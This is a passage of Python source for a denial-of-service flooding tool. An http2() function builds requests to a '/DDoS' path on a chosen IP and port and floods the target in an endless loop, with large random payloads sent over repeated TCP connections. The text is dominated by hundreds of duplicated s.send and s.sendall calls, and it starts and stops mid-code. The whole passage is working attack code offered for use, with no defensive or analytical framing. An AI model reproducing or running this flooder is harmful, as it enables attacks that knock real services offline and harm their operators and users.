s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) except socket.error: s.close() def http2(): header = Headers("get") i = random.choice(("[HTTP]","[TCP]","[BRUTE]")) data = random._urandom(90048) if method == "get": get_host = "GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n" request = get_host + header + "\r\n" else: get_host = random.choice(['GET','POST','HEAD']) + " /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n" request = get_host + header + "\r\n" while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((ip,port)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) for x in range(times): s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) 